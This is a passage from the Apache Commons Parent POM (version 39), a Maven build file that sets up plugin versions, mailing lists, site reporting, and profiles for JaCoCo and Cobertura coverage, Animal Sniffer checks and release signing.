</distributionManagement>\n\n    Alternatively you can map the component's existing site id to the\n    commons.scmPubServer property.\n\n    Coverage tool selection\n    =======================\n    Starting with release 30, there are optional profiles for both Cobertura and JaCoCo.\n    These can be enabled independently on the command-line:\n\n    mvn site -Pcobertura -Pjacoco\n\n    Or the component can define a default coverage tool by creating either (or both) of the following files:\n\n    src/site/resources/profile.cobertura\n    src/site/resources/profile.jacoco\n\n    These can later be overridden by cancelling the profile:\n\n    mvn site -P!jacoco\n\n  -->\n\n  <!--\n    This section *must* be overwritten by subprojects. It is only to allow\n    a release of the commons-parent POM.\n  -->\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-39</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/tags/commons-parent-39</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/commons-parent/tags/commons-parent-39</url>\n  </scm>\n\n  <mailingLists>\n    <!-- N.B. commons-site now uses the Apache POM so has its own copy of the mailing list definitions -->\n    <!--\n        Components should normally override the default mailing list report by using the comnand\n        mvn commons:mail-page\n        This generates the file src/site/xdoc/mail-lists.xml which when processed will replace the PIR version.\n     -->\n    <!-- Changes to this list should be synchronised with the commons build plugin -->\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>user-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>user-unsubscribe@commons.apache.org</unsubscribe>\n      <post>user@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-user/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.users/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---User-f319.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/user@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.user</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>dev-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@commons.apache.org</unsubscribe>\n      <post>dev@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.dev/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---Dev-f317.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/dev@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.devel</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Issues List</name>\n      <subscribe>issues-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@commons.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.issues/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---Issues-f25499.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/issues@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Commits List</name>\n      <subscribe>commits-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@commons.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.commits/</otherArchive>\n        <otherArchive>http://www.mail-archive.com/commits@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.announce/</otherArchive>\n        <otherArchive>http://old.nabble.com/Apache-News-and-Announce-f109.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/announce@apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.apache.announce</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n  <build>\n    <!-- TODO find a better way to add N&L files to jars and test jars\n         See also maven-remote-resources-plugin configuration below.\n    -->\n    <resources>\n      <!-- This is the default setting from the super-pom -->\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n      <!-- hack to ensure the N&L appear in jars -->\n      <resource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <!-- ensure test jars also get NOTICE & LICENSE files -->\n    <testResources>\n      <!-- This is the default setting from the super-pom -->\n      <testResource>\n        <directory>src/test/resources</directory>\n      </testResource>\n      <!-- hack to ensure the N&L appear in jars -->\n      <testResource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </testResource>\n    </testResources>\n    <pluginManagement>\n      <plugins>\n        <!-- org.apache.maven.plugins, alpha order by artifact id -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.5.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.6.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>${commons.compiler.version}</version>\n          <configuration>\n            <source>${maven.compiler.source}</source>\n            <target>${maven.compiler.target}</target>\n            <encoding>${commons.encoding}</encoding>\n            <!--\n               fork is set true by the java-1.x profiles\n               This allows the use of a different version of the compiler from the\n               JDK being used to run Maven\n            -->\n            <fork>${commons.compiler.fork}</fork>\n            <!-- the following are only needed if fork is true -->\n            <compilerVersion>${commons.compiler.compilerVersion}</compilerVersion>\n            <executable>${commons.compiler.javac}</executable>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.8.2</version>\n        </plugin>\n        <!-- Apache parent includes docck -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.5.2</version>\n        </plugin>\n        <!-- Apache parent: invoker -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>${commons.javadoc.version}</version>\n          <configuration>\n            <!-- keep only errors and warnings -->\n            <quiet>true</quiet>\n            <encoding>${commons.encoding}</encoding>\n            <docEncoding>${commons.docEncoding}</docEncoding>\n            <notimestamp>true</notimestamp>\n            <links>\n              <link>${commons.javadoc.java.link}</link>\n              <link>${commons.javadoc.javaee.link}</link>\n            </links>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.5.2</version>\n        </plugin>\n        <plugin>\n          <!-- TODO see above - find better way to add N&L files to jars and test jars -->\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <!-- override old version from Apache pom 13 -->\n          <version>1.5</version>\n          <configuration>\n            <!--\n                Apache parent POM automatically adds \"LICENSE\" and \"NOTICE\" files\n                to jars - duplicating the \"LICENSE.txt\" and \"NOTICE.txt\"\n                files that components already have.\n             -->\n            <skip>true</skip>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.7</version>\n        </plugin>\n        <!-- Apache parent: scm -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>${commons.site-plugin.version}</version>\n          <configuration>\n            <!-- don't deploy site with maven-site-plugin -->\n            <skipDeploy>true</skipDeploy>\n          </configuration>\n          <dependencies>\n            <dependency>\n                <!-- add support for ssh/scp -->\n              <groupId>org.apache.maven.wagon</groupId>\n              <artifactId>wagon-ssh</artifactId>\n              <version>${commons.wagon-ssh.version}</version>\n            </dependency>\n          </dependencies>\n          <executions>\n            <execution>\n              <id>attach-descriptor</id>\n              <goals>\n                <goal>attach-descriptor</goal>\n              </goals>\n            </execution>\n          </executions>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.4</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>${commons.surefire.version}</version>\n        </plugin>\n        <!-- Other plugins, alpha order by groupId and artifactId -->\n        <plugin>\n          <groupId>org.apache.commons</groupId>\n          <artifactId>commons-build-plugin</artifactId>\n          <version>1.4</version>\n          <configuration>\n            <commons.release.name>${commons.release.name}</commons.release.name>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>2.5.3</version>\n          <inherited>true</inherited>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.rat</groupId>\n          <artifactId>apache-rat-plugin</artifactId>\n          <version>${commons.rat.version}</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>build-helper-maven-plugin</artifactId>\n          <version>1.9.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>buildnumber-maven-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>${commons.clirr.version}</version>\n          <configuration>\n            <minSeverity>${minSeverity}</minSeverity>\n          </configuration>\n        </plugin>\n        <!-- Apache parent: plexus & modello -->\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- org.apache.maven.plugins, alpha order by artifact id -->\n      <plugin>\n          <!-- Parent POM is released, so needs source archive for ASF mirrors -->\n        <artifactId>maven-assembly-plugin</artifactId>\n        <configuration>\n          <descriptors>\n            <descriptor>src/assembly/src.xml</descriptor>\n          </descriptors>\n          <tarLongFileMode>gnu</tarLongFileMode>\n        </configuration>\n      </plugin>\n      <plugin>\n        <!--\n          - Copy LICENSE.txt and NOTICE.txt so that they are included\n          - in the -javadoc jar file for the component.\n          -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>javadoc.resources</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>run</goal>\n            </goals>\n            <configuration>\n              <target>\n                <copy todir=\"${project.build.directory}/apidocs/META-INF\">\n                  <fileset dir=\"${basedir}\">\n                    <include name=\"LICENSE.txt\" />\n                    <include name=\"NOTICE.txt\" />\n                  </fileset>\n                </copy>\n              </target>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n      </plugin>\n      <!-- Unfortunately the much simpler\n           <prerequisites><maven>3.0</maven></prerequisites>\n           is not inherited so we have to use the enforcer plugin\n      -->\n      <plugin>\n        <inherited>true</inherited>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <version>1.3.1</version>\n        <executions>\n          <execution>\n            <id>enforce-maven-3</id>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <requireMavenVersion>\n                  <version>3.0.0</version>\n                </requireMavenVersion>\n              </rules>\n              <fail>true</fail>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestFile>${commons.manifestfile}</manifestFile>\n            <manifestEntries>\n              <Specification-Title>${project.name}</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>${project.organization.name}</Specification-Vendor>\n              <Implementation-Title>${project.name}</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor>${project.organization.name}</Implementation-Vendor>\n              <Implementation-Vendor-Id>org.apache</Implementation-Vendor-Id>\n              <Implementation-Build>${implementation.build}</Implementation-Build>\n              <X-Compile-Source-JDK>${maven.compiler.source}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${maven.compiler.target}</X-Compile-Target-JDK>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <!--\n            commons.surefire.java is normally empty.\n            It is defined by the java-1.x profiles to change the JVM used by Surefire \n          -->\n          <jvm>${commons.surefire.java}</jvm>\n        </configuration>\n      </plugin>\n      <!-- Other plugins, alpha order by groupId and artifactId -->\n      <plugin>\n        <groupId>org.apache.commons</groupId>\n        <artifactId>commons-build-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <configuration>\n          <!--\n            dummy entry to stop bundle plugin from picking up jar config and reporting\n            WARNING: Duplicate name in Manifest\n            See http://markmail.org/message/mpkl24wk3jrjhhjg\n          -->\n          <archive>\n            <forced>true</forced>\n          </archive>\n          <excludeDependencies>${commons.osgi.excludeDependencies}</excludeDependencies>\n          <manifestLocation>${project.build.directory}/osgi</manifestLocation>\n          <instructions>\n            <!-- stops the \"uses\" clauses being added to \"Export-Package\" manifest entry -->\n            <_nouses>true</_nouses>\n            <!-- Stop the JAVA_1_n_HOME variables from being treated as headers by Bnd -->\n            <_removeheaders>JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME,JAVA_1_7_HOME,JAVA_1_8_HOME,JAVA_1_9_HOME</_removeheaders>\n            <Bundle-SymbolicName>${commons.osgi.symbolicName}</Bundle-SymbolicName>\n            <Export-Package>${commons.osgi.export}</Export-Package>\n            <Private-Package>${commons.osgi.private}</Private-Package>\n            <Import-Package>${commons.osgi.import}</Import-Package>\n            <DynamicImport-Package>${commons.osgi.dynamicImport}</DynamicImport-Package>\n            <Bundle-DocURL>${project.url}</Bundle-DocURL>\n          </instructions>\n        </configuration>\n        <executions>\n          <execution>\n            <id>bundle-manifest</id>\n            <phase>process-classes</phase>\n            <goals>\n              <goal>manifest</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <!-- Needed for command-line access, e.g mvn apache-rat:rat and mvn apache-rat:check -->\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <version>${commons.rat.version}</version>\n        <!-- Should agree with config in reporting section -->\n        <configuration>\n          <!--\n               If you wish to override this list in the component (child) pom, ensure you use\n                   <excludes combine.children=\"merge\">\n               so that the child pom entries replace the parent entries\n           -->\n          <excludes combine.children=\"append\">\n            <exclude>site-content/**</exclude>\n            <exclude>.checkstyle</exclude>\n            <exclude>.fbprefs</exclude>\n            <exclude>.pmd</exclude>\n            <exclude>src/site/resources/download_*.cgi</exclude>\n            <exclude>src/site/resources/profile.*</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-scm-publish-plugin</artifactId>\n        <version>${commons.scm-publish.version}</version>\n        <configuration>\n          <content>${project.reporting.outputDirectory}</content>\n          <pubScmUrl>scm:svn:${commons.scmPubUrl}</pubScmUrl>\n          <checkoutDirectory>${commons.scmPubCheckoutDirectory}</checkoutDirectory>\n          <serverId>${commons.scmPubServer}</serverId>\n          <tryUpdate>true</tryUpdate>\n        </configuration>\n        <executions>\n          <execution>\n            <id>scm-publish</id>\n            <phase>site-deploy</phase><!-- deploy site with maven-scm-publish-plugin -->\n            <goals>\n              <goal>publish-scm</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n    </plugins>\n  </build>\n\n  <reporting>\n    <!-- N.B. plugins defined here in the <reporting> section ignore what's defined in <pluginManagement>\n         in the <build> section above, so we have to define the versions here. -->\n    <plugins>\n      <!-- org.apache.maven.plugins, alpha order by artifact id -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-changes-plugin</artifactId>\n        <version>${commons.changes.version}</version>\n        <configuration>\n          <xmlPath>${basedir}/src/changes/changes.xml</xmlPath>\n          <columnNames>Fix Version,Key,Component,Summary,Type,Resolution,Status</columnNames>\n          <!-- Sort cols in natural order when using JQL for JIRA 5.1 -->\n          <sortColumnNames>Fix Version DESC,Type,Key DESC</sortColumnNames>\n          <resolutionIds>Fixed</resolutionIds>\n          <statusIds>Resolved,Closed</statusIds>\n          <!-- Don't include sub-task -->\n          <typeIds>Bug,New Feature,Task,Improvement,Wish,Test</typeIds>\n          <!-- For JIRA >= 5.1 -->\n          <useJql>true</useJql>\n          <onlyCurrentVersion>${commons.changes.onlyCurrentVersion}</onlyCurrentVersion>\n          <maxEntries>${commons.changes.maxEntries}</maxEntries>\n          <runOnlyAtExecutionRoot>${commons.changes.runOnlyAtExecutionRoot}</runOnlyAtExecutionRoot>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>changes-report</report>\n              <report>jira-report</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>${commons.javadoc.version}</version>\n        <configuration>\n          <!-- keep only errors and warnings -->\n          <quiet>true</quiet>\n          <source>${maven.compiler.source}</source>\n          <encoding>${commons.encoding}</encoding>\n          <docencoding>${commons.docEncoding}</docencoding>\n          <notimestamp>true</notimestamp>\n          <linksource>true</linksource>\n          <!-- prevent svnpub to be too much noisy -->\n          <notimestamp>true</notimestamp>\n          <links>\n            <link>${commons.javadoc.java.link}</link>\n            <link>${commons.javadoc.javaee.link}</link>\n          </links>\n        </configuration>\n        <!-- Suppress test Javadocs -->\n        <reportSets>\n          <reportSet>\n            <id>default</id>\n            <reports>\n              <report>javadoc</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>${commons.jxr.version}</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>${commons.project-info.version}</version>\n        <!--\n            Unfortunately it does not appear to be possible to override\n            reports configured in a parent POM.\n            See https://jira.codehaus.org/browse/MPIR-241\n            and https://issues.apache.org/jira/browse/MPOM-32\n            So we define here all those reports that are suitable for\n            all components.\n            Components can add extra reports if they wish, but cannot disable any.\n        -->\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>index</report>\n              <report>summary</report>\n              <report>modules</report>\n<!--          <report>license</report>               site must link to ASF page instead  -->\n              <report>project-team</report>\n              <report>scm</report>\n              <report>issue-tracking</report>\n              <report>mailing-list</report>\n              <report>dependency-info</report>\n              <report>dependency-management</report>\n              <report>dependencies</report>\n              <report>dependency-convergence</report>\n              <report>cim</report>\n<!--          <report>plugin-management</report>      not very useful for end users -->\n<!--          <report>plugins</report>                not very useful for end users -->\n              <report>distribution-management</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <version>${commons.site-plugin.version}</version>\n        <configuration>\n          <!-- Exclude the navigation file for Maven 1 sites\n               and the changes file used by the changes-plugin,\n               as they interfere with the site generation. -->\n          <moduleExcludes>\n            <xdoc>navigation.xml,changes.xml</xdoc>\n          </moduleExcludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n        <version>${commons.surefire-report.version}</version>\n        <configuration>\n          <aggregate>${commons.surefire-report.aggregate}</aggregate>\n        </configuration>\n      </plugin>\n      <!-- Other plugins, alpha order by groupId and artifactId -->\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <version>${commons.rat.version}</version>\n        <!-- Should agree with config in build section -->\n        <configuration>\n          <!--\n               If you wish to override this list in the component (child) pom, ensure you use\n                   <excludes combine.children=\"merge\">\n               so that the child pom entries replace the parent entries\n           -->\n          <excludes combine.children=\"append\">\n            <exclude>site-content/**</exclude>\n            <exclude>.checkstyle</exclude>\n            <exclude>.fbprefs</exclude>\n            <exclude>.pmd</exclude>\n            <exclude>src/site/resources/download_*.cgi</exclude>\n            <exclude>src/site/resources/profile.*</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <version>${commons.clirr.version}</version>\n        <configuration>\n          <minSeverity>${minSeverity}</minSeverity>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>jdepend-maven-plugin</artifactId>\n        <version>${commons.jdepend.version}</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n\n      <profile>\n        <!--\n          Make the version parts of the maven.compiler.target property\n          available as separate properties, so that they can be used to define\n          the java signature artifactId used by animal-sniffer etc.\n        -->\n        <id>parse-target-version</id>\n        <activation>\n          <property>\n            <!--\n               This property should always be defined.\n               The intention is to ensure that the profile is always enabled.\n               (activeByDefault only applies if other profiles are not enabled) \n            -->\n            <name>user.home</name>\n          </property>\n        </activation>\n        <build>\n          <plugins>\n            <plugin>\n              <groupId>org.codehaus.mojo</groupId>\n              <artifactId>build-helper-maven-plugin</artifactId>\n              <executions>\n                <execution>\n                  <id>parse-version</id>\n                  <!-- default is:  <phase>validate</phase>  -->\n                  <goals>\n                    <goal>parse-version</goal>\n                  </goals>\n                  <configuration>\n                    <propertyPrefix>javaTarget</propertyPrefix>\n                    <versionString>${maven.compiler.target}</versionString>\n                  </configuration>\n                </execution>\n              </executions>\n            </plugin>\n          </plugins>\n        </build>\n      </profile>\n\n      <!-- \n           Runs the Animal Sniffer plugin to check that generated code does not included references\n           to methods/classes etc that are not present in the standard Java runtime for the defined target version.\n           To bypass the checks, define \"animal.sniffer.skip\" as true, or create the file \"src/site/resources/profile.noanimal\" \n      -->\n\n      <profile>\n        <id>animal-sniffer</id>\n        <activation>\n          <!--  active unless the file is found -->\n          <file>\n            <missing>src/site/resources/profile.noanimal</missing>\n          </file>\n        </activation>\n        \n        <properties>\n          <!-- define this as a property to allow command-line override -->\n          <animal-sniffer.signature>java${javaTarget.majorVersion}${javaTarget.minorVersion}</animal-sniffer.signature>\n        </properties>\n\n        <build>\n          <plugins>\n\n            <!-- Run the Animal Sniffer checks -->\n            <plugin>\n              <groupId>org.codehaus.mojo</groupId>\n              <artifactId>animal-sniffer-maven-plugin</artifactId>\n              <version>${commons.animal-sniffer.version}</version>\n              <executions>\n                <execution>\n                  <id>checkAPIcompatibility</id>\n                  <!-- default is:  <phase>process-classes</phase>  -->\n                  <!-- Note: if the plugin is ever enhanced to check test classes\n                       it will presumably need to be bound to process-test-classes instead \n                  -->\n                  <goals>\n                    <goal>check</goal>\n                  </goals>\n                </execution>\n              </executions>\n              <configuration>\n                <signature>\n                  <groupId>org.codehaus.mojo.signature</groupId>\n                  <artifactId>${animal-sniffer.signature}</artifactId>\n                  <version>${commons.animal-sniffer.signature.version}</version>\n                </signature>\n              </configuration>\n            </plugin>\n\n          </plugins>\n        </build>\n      </profile>\n\n    <profile>\n      <id>jacoco</id>\n      <activation>\n        <!--\n            N.B. in spite of what the Maven docs may say,\n            activation conditions are ORed together, see:\n            http://jira.codehaus.org/browse/MNG-4565\n            Fairly useless, but that's what was done in\n            http://jira.codehaus.org/browse/MNG-3106\n\n            So we cannot also check for Java 1.5+\n            This should not be a problem now as the profile is optional.\n            Components that still target Java 1.4 or earlier\n            just need to ensure they don't use JaCoCo by default.\n        -->\n        <file>\n          <exists>src/site/resources/profile.jacoco</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.jacoco</groupId>\n            <artifactId>jacoco-maven-plugin</artifactId>\n            <version>${commons.jacoco.version}</version>\n          <!-- Note that since JaCoCo relies on an agent to perform tests,\n               it changes the surefire arguments line. If a component also\n               needs to change the argument line of maven-surefire-plugin,\n               then it must add ${argLine} property (which is set by JaCoCo)\n               in the argLine configuration element of maven-surefire-plugin\n               to preserve JaCoCo settings. -->\n            <executions>\n              <execution>\n                <id>prepare-agent</id>\n                <phase>process-test-classes</phase>\n                <goals>\n                  <goal>prepare-agent</goal>\n                </goals>\n              </execution>\n              <execution>\n                <id>report</id>\n                <phase>site</phase>\n                <goals>\n                  <goal>report</goal>\n                </goals>\n              </execution>\n              <execution>\n                <id>check</id>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n                <configuration>\n                  <rules>\n                    <rule>\n                      <element>BUNDLE</element>\n                      <limits>\n                        <limit>\n                          <counter>CLASS</counter>\n                          <value>COVEREDRATIO</value>\n                          <minimum>${commons.jacoco.classRatio}</minimum>\n                        </limit>\n                        <limit>\n                          <counter>INSTRUCTION</counter>\n                          <value>COVEREDRATIO</value>\n                          <minimum>${commons.jacoco.instructionRatio}</minimum>\n                        </limit>\n                        <limit>\n                          <counter>METHOD</counter>\n                          <value>COVEREDRATIO</value>\n                          <minimum>${commons.jacoco.methodRatio}</minimum>\n                        </limit>\n                        <limit>\n                          <counter>BRANCH</counter>\n                          <value>COVEREDRATIO</value>\n                          <minimum>${commons.jacoco.branchRatio}</minimum>\n                        </limit>\n                        <limit>\n                          <counter>LINE</counter>\n                          <value>COVEREDRATIO</value>\n                          <minimum>${commons.jacoco.lineRatio}</minimum>\n                        </limit>\n                        <limit>\n                          <counter>COMPLEXITY</counter>\n                          <value>COVEREDRATIO</value>\n                          <minimum>${commons.jacoco.complexityRatio}</minimum>\n                        </limit>\n                      </limits>\n                    </rule>\n                  </rules>\n                  <haltOnFailure>${commons.jacoco.haltOnFailure}</haltOnFailure>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.jacoco</groupId>\n            <artifactId>jacoco-maven-plugin</artifactId>\n            <version>${commons.jacoco.version}</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n\n    <profile>\n      <id>cobertura</id>\n      <activation>\n        <file>\n          <exists>src/site/resources/profile.cobertura</exists>\n        </file>\n      </activation>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>${commons.cobertura.version}</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n\n    <!--\n         Profile for Commons releases via Nexus.\n         Assembles artifacts, creates source and javadoc jars, signs them and adds hashes.\n    -->\n    <profile>\n      <id>release</id>\n      <build>\n        <plugins>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-install-plugin</artifactId>\n            <configuration>\n              <createChecksum>true</createChecksum>\n            </configuration>\n          </plugin>\n          <plugin>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>create-source-jar</id>\n                <goals>\n                  <goal>jar</goal>\n                  <goal>test-jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-jar-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>test-jar</goal>\n                </goals>\n                <configuration>\n                  <!-- Avoids an error when releasing the parent pom -->\n                  <skipIfEmpty>true</skipIfEmpty>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <artifactId>maven-release-plugin</artifactId>\n            <configuration>\n              <!-- Pass these arguments to the deploy plugin. -->\n              <arguments>-Prelease</arguments>\n            </configuration>\n          </plugin>\n          <plugin>\n            